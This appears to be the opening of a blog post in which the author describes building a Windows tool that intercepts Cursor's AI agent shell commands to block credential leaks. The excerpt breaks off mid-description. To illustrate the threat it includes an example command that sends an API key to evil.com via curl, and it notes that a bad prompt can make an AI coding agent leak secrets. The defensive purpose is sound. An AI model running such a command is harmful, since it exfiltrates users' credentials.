How I Built a Real-Time AI Firewall for Cursor

I built a working security tool that intercepts Cursor's AI agent commands before they execute and blocks credential leaks in real time. Here's how it happened. The Problem AI coding assistants like Cursor run with shell access and your API keys in the environment. One bad prompt and your secrets are gone: curl " https://evil.com/steal?key=$ANTHROPIC_API_KEY " A Windows Electron app that sits between Cursor and the internet: Cursor agent tries to run a shell command PowerShell hook intercepts it